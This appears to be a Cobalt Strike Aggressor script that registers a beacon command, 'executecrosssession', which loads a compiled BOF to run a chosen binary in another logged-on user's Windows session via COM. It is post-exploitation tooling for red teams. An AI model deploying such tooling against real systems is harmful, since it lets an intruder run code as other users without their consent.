executecrosssession.cna 1.3 KB

1234567891011121314151617181920212223242526272829303132333435363738394041
  1. # author REDMED-X
  2. beacon_command_register(
  3. "executecrosssession", "Execute a binary on disk within the context of another logged-on user's session",
  4. "INFO:\nExecute a binary on disk within the context of another logged-on user's session using COM.\n\n" .
  5. "ARGUMENTS:\n[<binary path>]: path to the binary that you like to execute.\n[<session ID>]: specify the session ID of the user in which context the specified binary needs to be executed.\n\n" .
  6. "USAGE:\nexecutecrosssession <binary path> <session ID>\n\n" .
  7. "EXAMPLES:\nexecutecrosssession C:\\Windows\\System32\\calc.exe 2\n\n");
  8. alias executecrosssession {
  9. $bid = $1;
  10. $binarypath = $2;
  11. $sessionid = $3;
  12. if ($binarypath eq "") {
  13. berror($bid, "Please specify the path to the binary that you want to execute.\n");
  14. return;
  15. }
  16. if ($sessionid eq "") {
  17. berror($bid, "Please specify the session ID of the user under which you want the execute the binary.\n");
  18. return;
  19. }
  20. # Read in the right BOF file
  21. $handle = openf(script_resource("executecrosssession.o"));
  22. $data = readb($handle, -1);
  23. closef($handle);
  24. # Pack our arguments
  25. $arg_data = bof_pack($bid, "Zi", $binarypath, $sessionid);
  26. blog($bid, "Tasked to cross-session execute a binary via COM..");
  27. beacon_inline_execute($bid, $data, "go", $arg_data);
  28. }